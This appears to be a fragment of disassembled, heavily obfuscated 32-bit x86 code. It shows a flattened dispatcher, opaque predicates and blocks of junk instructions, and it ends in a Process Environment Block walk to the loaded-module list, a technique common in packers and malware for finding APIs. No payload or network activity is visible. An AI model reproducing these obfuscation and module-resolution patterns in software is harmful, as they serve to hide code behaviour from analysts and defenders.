or ecx, edx
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0x8b6df6eb
and ecx, 0x74920914
or eax, ecx
mov ecx, eax
xor ecx, 0x8804a6e3
xor eax, 0x74920914
mov esi, eax
and esi, 0x76b5018
and ecx, 0xf894afe7
or ecx, esi
mov esi, edx
not esi
and edx, 0xf894afe7
or eax, esi
and esi, 0x76b5018
or edx, esi
not eax
mov esi, 0x92f3b18b
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x2da055a4
and ecx, 0xd25faa5b
or eax, ecx
mov ecx, eax
xor ecx, 0x21200100
xor eax, 0x105baa53
and eax, 0x1cdbfef7
and ecx, 0xe3240108
or ecx, eax
mov eax, ecx
xor eax, 0xd262e1
xor ecx, 0xa3200000
and ecx, 0xbf299c16
and eax, 0x40d663e9
or eax, ecx
xor eax, 0x40d663e9
setne al
sete dl
cmp dword [0x460980], 0xa
mov ch, al
setl cl
setge ah
and ch, ah
and cl, dl
xor al, ah
or cl, ch
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0x473221d7
cmovne ecx, esi
test dl, dl
mov edx, 0x473221d7
jmp 0x410e6e
cmp byte [ebp - 0x95], 0
mov eax, 0x5b01cbfb
mov ecx, 0x252754c
cmovne eax, ecx
jmp 0x402260
mov eax, 0xe32f92c9
jmp 0x402260
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x3d4c3e30
and edx, 0xc2b3c1cf
or eax, edx
mov edx, eax
xor edx, 0x1442200
xor eax, 0xc2b3c1cf
mov esi, eax
and esi, 0xbc18dc34
and edx, 0x43e723cb
or edx, esi
mov esi, ecx
not esi
and ecx, 0x43e723cb
or eax, esi
and esi, 0xbc18dc34
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xdd3b7c79
and eax, 0x22c48386
or eax, edx
xor eax, 0x22c48387
or eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x1f4778db
and eax, 0xe0b88724
or ecx, eax
mov eax, ecx
xor eax, 0x1447101a
xor ecx, 0xe0b88724
mov esi, ecx
and esi, 0x2b106fe1
and eax, 0xd4ef901e
or eax, esi
mov esi, edx
not esi
and edx, 0xd4ef901e
or ecx, esi
and esi, 0x2b106fe1
or edx, esi
not ecx
mov esi, 0xa061c216
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xdf31ae0b
mov edx, eax
and edx, 0x20ce51f4
or ecx, edx
xor ecx, 0xdf31ae0b
or ecx, eax
cmp ecx, 0xffffffff
setne dl
cmp dword [0x460980], 0xa
mov ah, dl
setl ch
setge al
inc ah
mov cl, ah
and cl, dl
xor cl, 1
mov dh, cl
or cl, ah
xor dh, ah
xor cl, 1
or ah, ch
or cl, dh
or ch, cl
xor cl, 1
or cl, al
xor al, dl
mov dh, ch
xor al, 1
xor dh, cl
or cl, ch
mov dl, al
or al, ah
xor cl, 1
xor dl, ah
xor al, 1
or cl, dh
or al, dl
mov edx, ecx
mov ah, al
xor dl, 1
xor ah, 1
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xbd3134d4
cmovne ecx, esi
test al, 1
mov esi, 0xbd3134d4
jmp 0x411c9e
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x4ad03190
mov edx, eax
and edx, 0x24a03
and eax, 0xb52d846c
or ecx, edx
xor ecx, 0x4ad03190
or eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0x2c3c4ca2
mov esi, ecx
and esi, 0xd3c3b35d
or edx, esi
mov esi, eax
not esi
and eax, 0x2c3c4ca2
or ecx, esi
and esi, 0xd3c3b35d
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov edx, ecx
not edx
mov esi, ecx
andn eax, ecx, ecx
and esi, 0x46d2022f
and edx, 0xb92dfdd0
or edx, esi
mov esi, eax
not esi
and eax, 0xb92dfdd0
or ecx, esi
and esi, 0x46d2022f
or eax, esi
not ecx
mov esi, 0xcd9ac047
xor eax, edx
or ecx, eax
sete al
setne cl
cmp dword [0x460980], 0xa
setl ah
setge dl
mov ch, ah
and al, dl
xor ch, cl
and cl, ah
mov dh, ch
or al, cl
xor dh, dl
and dh, ch
mov cl, dh
xor cl, al
or al, dh
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x29583a02
cmovne eax, esi
test cl, cl
mov ecx, 0x29583a02
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402260
mov eax, 0x3ca9c111
jmp 0x402260
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x4c]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0x10]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x1a8]
mov dword [eax + ecx*4], edx
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0xb4]
mov eax, 0x39c4bb4c
jmp 0x402260
mov eax, 0xa5dd31c6
jmp 0x402260
mov eax, 0x7f147a94
jmp 0x402260
mov eax, 0x87d8e66a
jmp 0x402260
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x3479ebf6
mov edx, ecx
and edx, 0x3418c806
and eax, ecx
not ecx
and ecx, 0x6123f0
or edx, ecx
xor edx, 0x3418c806
or eax, edx
mov ecx, eax
not ecx
and eax, 0x7c94d46d
and ecx, 0x836b2b92
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xb712c064
xor edx, 0x48ed3f9b
xor eax, 0x8b9aec90
mov esi, ecx
and eax, edx
and esi, 0xc377d30b
and edx, 0x40958fb1
or eax, esi
mov esi, eax
not esi
and eax, 0x8ff87eab
and esi, 0x70078154
or eax, esi
mov esi, ecx
and esi, 0xbf6a704e
and ecx, 1
or esi, edx
xor eax, 0x4c8fada1
mov edx, esi
xor edx, 0x409582b0
xor esi, 0x354a1044
or ecx, edx
and esi, 0x354a1d44
and ecx, 0xcab5e2bb
or ecx, esi
xor ecx, 0xcab5e2bb
or ecx, eax
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0x61fa9edb
and ecx, 0x9e056124
or eax, ecx
mov ecx, eax
xor ecx, 0x210886c0
xor eax, 0x9e056124
mov esi, eax
and esi, 0x50f7191b
and ecx, 0xaf08e6e4
or ecx, esi
mov esi, edx
not esi
and edx, 0xaf08e6e4
or eax, esi
and esi, 0x50f7191b
or edx, esi
not eax
mov esi, 0x49dadbad
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xeaa704a5
and ecx, 0x1558fb5a
or ecx, eax
mov eax, ecx
xor eax, 0x8200a1
xor ecx, 0x440d042
and ecx, 0xee65d446
and eax, 0x119a2bb9
or eax, ecx
xor eax, 0x119a2bb9
sete al
setne dl
cmp dword [0x460980], 0xa
setl ch
setge ah
mov dh, ch
or al, ah
xor dh, dl
or dl, ch
xor al, 1
mov cl, dh
xor dl, 1
xor cl, ah
or al, dl
and cl, dh
mov edx, ecx
xor cl, al
xor al, 1
xor dl, 1
or al, dl
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0x2a8f0367
cmovne ecx, esi
test al, al
mov eax, 0x2a8f0367
cmovne ecx, eax
test dl, 1
jmp 0x40e864
mov eax, 0x5224f762
jmp 0x402260
mov eax, dword [ebp - 0x28]
mov ecx, dword [0x460984]
add eax, 4
mov dword [ebp - 0x100], eax
lea eax, [ecx + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xfffffffe
not eax
mov esi, eax
and edx, ecx
and esi, 0xfffffffe
and ecx, 0xdbb0bbda
and eax, 0x244f4425
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x244f4425
mov edi, esi
and edi, 0xdbb0bbda
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x9c9f5ba1
setne cl
sete ah
cmp dword [0x460980], 0xa
setl dl
mov al, dl
xor cl, dl
or dl, ah
xor al, ah
mov ah, cl
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ah, al
mov ecx, edx
mov ch, dl
xor ah, 1
not cl
and cl, dl
xor cl, 1
xor ch, cl
or cl, dl
mov edx, eax
and dl, ah
xor cl, 1
xor dl, 1
or cl, ch
or dl, ah
xor cl, 1
xor dl, 1
or dl, al
xor dl, cl
or cl, ah
mov eax, 0x7cde42f7
mov ch, dl
xor ch, cl
test cl, 1
cmovne eax, esi
test dl, 1
not ch
mov edx, 0x7cde42f7
cmovne eax, esi
test ch, 1
cmove eax, edx
jmp 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov esi, eax
xor esi, 0xea4e84de
not edx
mov ecx, edx
and esi, eax
and ecx, 0xea4e84de
and edx, 0xb172f4e5
and eax, 0x4e8d0b1a
or ecx, esi
not esi
or eax, edx
and esi, 0x15b17b20
and ecx, 0xea4e84df
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xe4e31723
mov esi, edx
and esi, 0x1b1ce8dc
or ecx, esi
mov esi, eax
xor esi, 0x44810302
xor eax, 0x1110e0c4
and eax, 0x1b1ce8dc
and esi, 0xe4e31723
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x2de1b92d
setne dl
sete ah
cmp dword [0x460980], 0xa
setl cl
setge al
mov ch, cl
or dl, cl
or cl, ah
or al, ah
xor ch, ah
mov ah, dl
xor cl, 1
xor ah, al
or al, dl
or cl, ch
xor al, 1
or al, ah
mov ah, al
mov ch, al
xor ah, 1
mov dl, ah
xor ah, cl
and dl, al
xor dl, 1
xor ch, dl
or dl, al
xor dl, 1
or dl, ch
mov ch, dl
xor dl, 1
and dl, cl
xor cl, 1
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xa177d645
cmovne eax, esi
test dl, 1
mov edx, 0xa177d645
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402260
mov eax, 0xe05e630c
jmp 0x402260
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0xf0f33b02
and ecx, 0xf0cc4fd
or edx, ecx
xor edx, 0xf0f33b02
or eax, edx
mov edi, eax
xor edi, 0xaa284681
mov edx, eax
and edx, 0xaddc8d4b
and edi, eax
not eax
and eax, 0x522372b4
or edx, eax
mov ecx, edx
mov esi, edx
xor ecx, 0xaddc8d4b
xor esi, 0xf80b3435
xor edx, 0x2233024
and esi, ecx
and edx, 0xae7bd67
mov eax, esi
not eax
and esi, 0x84a03a86
mov ebx, eax
and ebx, 0x7b5fc579
or esi, ebx
mov ebx, edi
not ebx
and edi, 0x84a03a86
or eax, ebx
and ebx, 0x7b5fc579
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
and eax, 0xe653c9b3
and esi, 0x19ac364c
or eax, esi
mov esi, ecx
and esi, 0xf5184298
and ecx, 1
or esi, edx
mov edx, esi
xor edx, 0x8258d00
xor esi, 0x81000288
or ecx, edx
mov edx, eax
xor edx, 0x4428022
and esi, 0x83c232ee
xor eax, 0xb38470cc
and ecx, 0x7c3dcd11
and edx, 0x3446d0ae
or ecx, esi
mov esi, eax
and esi, 0xcbb92f51
or edx, esi
mov esi, ecx
xor esi, 0x3404c000
xor ecx, 0x83c232ee
or eax, ecx
and ecx, 0xcbb92f51
and esi, 0x3446d0ae
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov ecx, eax
xor ecx, 0x37e4d7aa
mov edx, eax
not edx
and ecx, eax
or eax, 0xc81b2855
and edx, 0x330404a2
mov esi, eax
and esi, 0xc4f1f30c
or edx, esi
mov esi, ecx
not esi
and ecx, 0x3b0e0cf3
or eax, esi
and esi, 0xc4f1f30c
or ecx, esi
not eax
mov esi, 0x7ba337c7
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xdf2c0e23
and ecx, 0x20d3f1dc
or eax, ecx
mov ecx, eax
xor ecx, 0x60804900
xor eax, 0x10110230
and eax, 0x985992b9
and ecx, 0x67a66d46
or ecx, eax
mov eax, ecx
xor eax, 0x42246802
xor ecx, 0x10480098
and ecx, 0x35ca05dc
and eax, 0xca35fa23
or eax, ecx
xor eax, 0xca35fa23
sete dl
setne ah
cmp dword [0x460980], 0xa
setge al
setl cl
inc al
mov ch, al
or al, ah
xor ch, ah
xor al, 1
not ch
and ch, ah
mov ah, cl
xor cl, dl
or ah, dl
or al, ch
xor ah, 1
or cl, ah
mov ah, cl
mov edx, ecx
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
mov ah, dl
xor dl, 1
and ah, al
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x8c732866
cmovne ecx, esi
test al, 1
mov eax, 0x8c732866
jmp 0x402252
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x1bc], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 8]
mov dword [ebp - 0x1c0], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x1c4], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8 + 0xc]
mov dword [ebp - 0x1c8], eax
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0xa34c45a6
and edx, 0x5cb3ba59
or eax, edx
mov edx, eax
xor edx, 0x23440486
xor eax, 0x5cb3ba59
mov esi, eax
and esi, 0x80984328
and edx, 0x7f67bcd7
or edx, esi
mov esi, ecx
not esi
and ecx, 0x7f67bcd7
or eax, esi
and esi, 0x80984328
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xf5138ecc
and eax, 0xfffffffe
and edx, 0xaec7133
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xaec7132
and edx, 0xf5138ecd
or ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x16021
and eax, 0x1a588180
mov edx, ecx
or edx, 0x64a01c4e
and esi, 0x64a17c6f
and ecx, 0x81060210
and edx, 0x64a17c6f
or ecx, esi
mov esi, 0x44a4d075
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x8e28951b
and ecx, 0x71d76ae4
or eax, ecx
mov ecx, eax
xor ecx, 0x28048a41
xor eax, 0x947174ba
mov edx, eax
and edx, 0x43ab1514
and ecx, 0xbc54eaeb
or ecx, edx
xor ecx, 0x43ab1514
xor eax, ecx
test eax, ecx
setne al
sete cl
cmp dword [0x460980], 0xa
setl dl
mov ah, dl
xor al, dl
xor ah, cl
or cl, dl
mov edx, eax
xor cl, 1
xor dl, 1
or cl, ah
mov dh, dl
and dh, cl
xor cl, 1
and al, cl
mov ch, cl
or cl, dl
xor ch, dl
xor cl, 1
or al, dh
or cl, ch
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x90d46659
cmovne edx, esi
test cl, 1
mov ecx, 0x90d46659
jmp 0x4103a3
mov eax, 0x2660f433
jmp 0x402260
mov eax, 0x6eb9942c
jmp 0x402260
push eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0xa8], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x80], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x14], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
mov eax, 0x3d397e64
jmp 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xc297ed55
mov edi, ecx
or edi, 0xdcd8aa84
mov esi, ecx
and esi, 0xdcd8aa84
and ecx, 0x3d6812aa
mov edx, edi
not edx
and edi, 0x2327557a
or eax, ecx
or edx, esi
xor eax, 0xc297ed55
mov esi, 0x7ba337c7
and edx, 0xdcd8aa85
or edx, edi
not edx
or eax, edx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x460980], 0xa
setge al
setl cl
mov ch, al
and cl, dl
inc ch
and ch, ah
and ah, al
or cl, ah
xor cl, 1
or cl, al
and al, dl
xor cl, 1
or al, ch
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
xor dl, 1
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x7439bd93
cmovne eax, esi
test dl, 1
not cl
mov edx, 0x7439bd93
cmovne eax, esi
test cl, 1
cmove eax, edx
jmp 0x402260
mov eax, 0xeaa94cc1
jmp 0x402260
mov eax, 0xc8f2d219
jmp 0x402260
mov eax, 0x78f398fb
jmp 0x402260
mov eax, dword [0x460984]
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
and esi, 0x8bf54891
mov edx, ecx
and edx, 0x740ab76e
and ecx, 0x93ccfbe
or edx, esi
mov eax, edx
mov esi, edx
xor eax, 0x740ab76e
xor esi, 0x7d3678d0
xor edx, 0x2400090
and esi, eax
and edx, 0x464004fa
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x9eba658f
and esi, 0x61459a70
or ecx, esi
mov esi, eax
and esi, 0xb9bffb05
and eax, 1
or esi, edx
xor ecx, 0x687955cf
xor esi, 0x464004fb
or eax, esi
mov esi, 0x7b2c2112
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0xac079a5f
mov edx, eax
and edx, 0x2c03085e
and ecx, eax
not eax
and eax, 0x80049201
or edx, eax
xor edx, 0x2c03085e
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x82582216
and eax, 0x7da7dde9
or ecx, eax
xor ecx, 0x2e5fb849
setne cl
sete dl
cmp dword [0x460980], 0xa
setl al
setge ah
xor cl, al
or al, dl
xor ah, dl
xor cl, 1
xor al, 1
or al, cl
mov cl, ah
xor cl, al
or al, ah
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x494009e9
cmovne ecx, esi
test al, al
mov eax, 0x494009e9
cmovne ecx, eax
test dl, dl
cmove ecx, esi
mov eax, ecx
jmp 0x402260
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0xf8], eax
mov eax, 0xf37ca52d
jmp 0x402260
cmp byte [ebp - 0x94], 0
mov eax, 0xa5496682
mov ecx, 0x3773b08e
cmovne eax, ecx
jmp 0x402260
dec esi
inc esi
dec ebx
rcr ebx, 0xfd
and ebx, 0xe6
add eax, 0xb0
sub eax, 0x37
sub ebx, 0x35
neg eax
and eax, 0xc7
ror edi, 0x48
neg edx
sbb edx, 0x51
rcl edi, 0x46
not ebx
sub esi, 0x1a
dec esi
imul edi
rcl edx, 0xde
bswap edi
rol edi, 0x7c
bswap edi
not ebx
rcr ebx, 0xf
dec eax
not eax
inc edi
dec eax
mov ebx, 9
rcl esi, 0x15
bswap ebx
inc edi
rcl edi, 7
mov eax, 0xc0
imul edx
dec edi
add ebx, 0xf
add eax, 0xcd
neg eax
sbb edx, 0xff
rcl eax, 0xb0
sub eax, 0xce
mov eax, 0x7d
mov esi, 0xe0
rcl edx, 0xc6
ror eax, 0x37
ror edx, 0xb9
imul ebx
bswap ebx
add eax, 0x7e
not eax
rol eax, 0xf5
rcr edi, 0xc6
add eax, 0xc2
rcr esi, 0x4b
sbb esi, 0x21
dec esi
imul ebx
rcr edx, 0x93
add esi, 0xda
ror ebx, 0xc3
not eax
ror edx, 0xb4
dec esi
imul ebx
bswap edx
add edx, 0xec
rcl esi, 0x8f
inc edi
inc esi
inc edx
or ebx, 0x72
ror ebx, 0x7e
rol esi, 0x92
rcr ebx, 0x1e
bswap eax
rcl ebx, 0xc7
neg edi
sbb eax, 0xa7
or edi, 0xb6
inc esi
bswap ebx
neg eax
not edi
not edx
ror ebx, 0xf6
sub ebx, 0x13
sub edi, 0x3a
imul edx
dec edi
bswap ebx
neg edx
neg esi
sub edx, 0xc0
ror ebx, 0xd8
sub ebx, 0x9d
rcr ebx, 0xdf
or esi, 0xbe
imul ebx
rol ebx, 0x53
rcl esi, 0x70
rcl ebx, 0x14
not esi
neg edx
inc edx
add eax, 0xdc
imul eax
imul esi
rcr esi, 0xed
dec ebx
mov ebx, pe_nt_image_headers32
and esi, 0x60
rcl ebx, 0x8a
rol eax, 0x93
ror eax, 0xd
ror eax, 0x39
or esi, 0xa1
dec eax
dec ebx
add edx, 0xc8
inc esi
not edi
rcl edx, 0xb
mov ebx, 0xf6
mov esi, 0x59
rcr edi, 0xf8
rcr esi, 0x5c
not esi
neg eax
sub esi, 0xc0
dec eax
imul ebx
rcr eax, 0xf1
or ebx, 0x1e
sub edx, 0xf2
or ebx, 0x6d
not edi
or esi, 0x82
neg edi
ror esi, 0x6e
sub edx, 0xd
ror esi, 0x1d
or edi, 0x41
sbb edi, 0xb5
dec edx
inc edi
neg edi
sbb edx, 0xa8
and edi, 0x61
not edi
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov eax, 0xa177d645
jmp 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xd53aba03
and ecx, 0x2ac545fc
or eax, ecx
mov edi, eax
xor edi, 0x442aa003
xor eax, 0x2ac14478
and eax, 0xbbd15e78
and edi, 0x442ea187
or edi, eax
mov edx, edi
xor edx, 0xbbd15e78
mov eax, edi
xor edi, 0xd2ddeedd
xor eax, 0x442ea187
mov ecx, edx
or ecx, 0x96f34f5a
mov esi, eax
and edi, edx
and esi, 0x400090a1
and edx, 0xd3408e76
mov ebx, ecx
and ebx, 0xab0f6954
or esi, ebx
mov ebx, edi
not ebx
and edi, 0x54f096ab
or ecx, ebx
and ebx, 0xab0f6954
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, 0x690cb0a4
and esi, 0x96f34f5b
or ecx, esi
mov esi, eax
and esi, 0x2cbf7189
and eax, 1
or esi, edx
mov edx, esi
xor edx, 0x11000a23
xor esi, 0x28311180
or eax, edx
and esi, 0xea7195d4
and eax, 0x158e6a2b
or eax, esi
mov esi, 0x2437b99e
xor eax, 0x158e6a2b
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc0a40bd2
and ecx, 0x3f5bf42d
or eax, ecx
mov ecx, eax
xor ecx, 0x40800282
xor eax, 0x3213302d
and eax, 0xb237397d
and ecx, 0x4dc8c682
or ecx, eax
xor ecx, 0xb237397d
setne dl
sete cl
cmp dword [0x460980], 0xa
mov ch, dl
setge al
setl ah
mov dh, al
and dl, ah
or ch, ah
xor dh, cl
xor ch, 1
and dh, al
and al, cl
xor cl, ah
or al, dl
and cl, ah
or al, dh
or cl, ch
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor ah, dl
xor dl, 1
or dl, al
mov al, cl
xor dl, 1
xor al, 1
or dl, ah
mov ah, cl
and al, dl
xor dl, 1
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0x2437b99e
mov al, ah
xor al, dl
test dl, 1
mov edx, 0x24d52ca5
cmovne ecx, edx
test ah, ah
cmove ecx, esi
mov esi, dword [ebp - 0x24]
test al, 1
mov dword [ebp - 0xdc], esi
jmp 0x411969
mov eax, dword [ebp - 0xc4]
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0xc238326a
and ecx, 0x3dc7cd95
or ecx, edx
mov edx, ecx
mov esi, ecx
xor edx, 0x80080268
xor esi, 0x3dc7cd95
xor ecx, 0xc018206a
mov eax, esi
or eax, 1
and esi, 0x73b7b403
and edx, 0x8c484bfc
and ecx, 0xccd96cfe
or edx, esi
mov esi, eax
and esi, 0x33269301
or ecx, esi
mov esi, edx
xor esi, 0x8c4848fc
xor edx, 0x73b7b402
or eax, edx
and edx, 0x33269301
and esi, 0xccd96cfe
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xa91183f8
and eax, 0x5542928
mov edx, ecx
and edx, 0x56ee7c07
or ecx, 0xc8880055
or esi, edx
and ecx, 0xea8ad057
mov edx, esi
xor esi, 0x40880005
xor edx, 0x10280
or eax, ecx
or esi, 0x2202d002
and edx, 0x10210680
and esi, 0xea8ad057
or edx, esi
mov esi, 0xfeb520d9
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xd8a906d5
and ecx, 0x2756f92a
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x1cd7426
and ecx, 0xfe328bd9
or eax, ecx
xor eax, 0xfe328bd9
sete dl
setne ch
cmp dword [0x460980], 0xa
mov dh, dl
setge al
setl ah
mov cl, al
mov bl, ah
and dh, al
or al, ch
and bl, ch
or ch, ah
xor ah, dl
xor al, 1
or cl, dl
or al, ah
or bl, dh
xor ch, 1
xor cl, 1
xor al, 1
or cl, ch
or al, bl
mov edx, eax
xor al, cl
xor dl, 1
mov ah, dl
or dl, cl
xor ah, cl
xor dl, 1
mov ecx, eax
or dl, ah
xor cl, dl
test dl, 1
mov edx, 0xa7c85947
cmovne edx, esi
test al, 1
not cl
mov eax, 0xa7c85947
cmovne edx, esi
test cl, 1
jmp 0x411186
inc esi
imul esi
rcr edi, 0x8d
dec edx
inc edx
bswap esi
not esi
and esi, 0x8b
sub edx, 0x5d
rcl esi, 0xb6
inc eax
and edx, 0x1f
dec eax
neg edx
sbb edx, 0xe
and edi, 0xd5
add eax, 0x1b
dec edx
bswap edi
sbb edx, 0x43
rcr ebx, 0xa8
rol esi, 0xf2
rcr ebx, 0xd3
and esi, 0x99
rcl esi, 6
mov edx, 0x7d
or edi, 0x87
and ebx, 0xa5
neg esi
imul esi
not edx
sbb eax, 0x79
rcl eax, 0x1f
bswap edi
ror ebx, 0x34
add esi, 0x56
rcr esi, 0xdd
bswap eax
mov ebx, 0xd2
and edi, 0x26
inc esi
not edi
rcr eax, 0x48
and edi, 0x64
sub ebx, 0x88
inc ebx
dec edi
inc eax
not ebx
add eax, 0x1a
bswap eax
dec ebx
neg edi
dec edx
sub ebx, 0x9b
bswap edi
sub edx, 0xe
add esi, 0xee
and edx, 0xfe
dec esi
rol edi, 0x38
bswap esi
rcl esi, 0x96
imul edi
or ebx, 0x7c
rcl esi, 0x14
add ebx, 0x65
mov edi, 0x14
sbb ebx, 0x34
rol esi, 0x62
neg edx
dec eax
neg ebx
neg esi
rcr ebx, 0x73
imul edi
mov edx, 0x84
inc esi
not ebx
imul edx
bswap eax
rol esi, 0xe2
sbb esi, 0x41
add edx, 0x2f
imul esi
dec ebx
rcl edi, 0x52
sub edx, 8
ror esi, 0x12
ror edi, 0xf0
inc ebx
bswap ebx
rcl ebx, 5
neg eax
sbb ebx, 0x8b
rcl eax, 0x44
or esi, 0xf0
rol ebx, 0x1e
sub ebx, 0xab
bswap edx
dec edx
sub eax, 0x5f
sub edi, 0x8e
rol ebx, 0xe1
inc edi
inc ebx
imul ebx
rcr edx, 0x5b
bswap edi
or edi, 0x57
neg esi
dec ebx
dec edx
sub edx, 0xdc
rcl eax, 0x22
ror edi, 0xc6
imul edi
rol edi, 0xa5
neg esi
inc eax
imul eax
rcl ebx, 0xf7
sbb edi, 0x1a
rol esi, 0xa5
not eax
not edi
and eax, 0x5d
neg esi
and edi, 0x53
bswap edx
ror eax, 0xe2
or ebx, 0x3a
mov eax, 0xbf
bswap edi
imul edx
ror edx, 0xdd
rol eax, 0xd2
mov edi, 0x46
add edi, 0x85
neg esi
not esi
not esi
not edx
and edx, 0xf1
rcr edi, 0xaa
not ebx
neg ebx
bswap esi
ror esi, 0x6c
add edi, 0x45
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x64]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x64]
mov dword [ecx], eax
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x88]
mov dword [ecx], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x88]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x90], eax
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x84dff5ed
and ecx, edx
not edx
and edx, 0x84dff5ed
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x8a489c24
and eax, 0x75b763db
or ecx, eax
mov edx, ecx
mov esi, ecx
xor edx, 0xc9200c8
xor esi, 0xf1689636
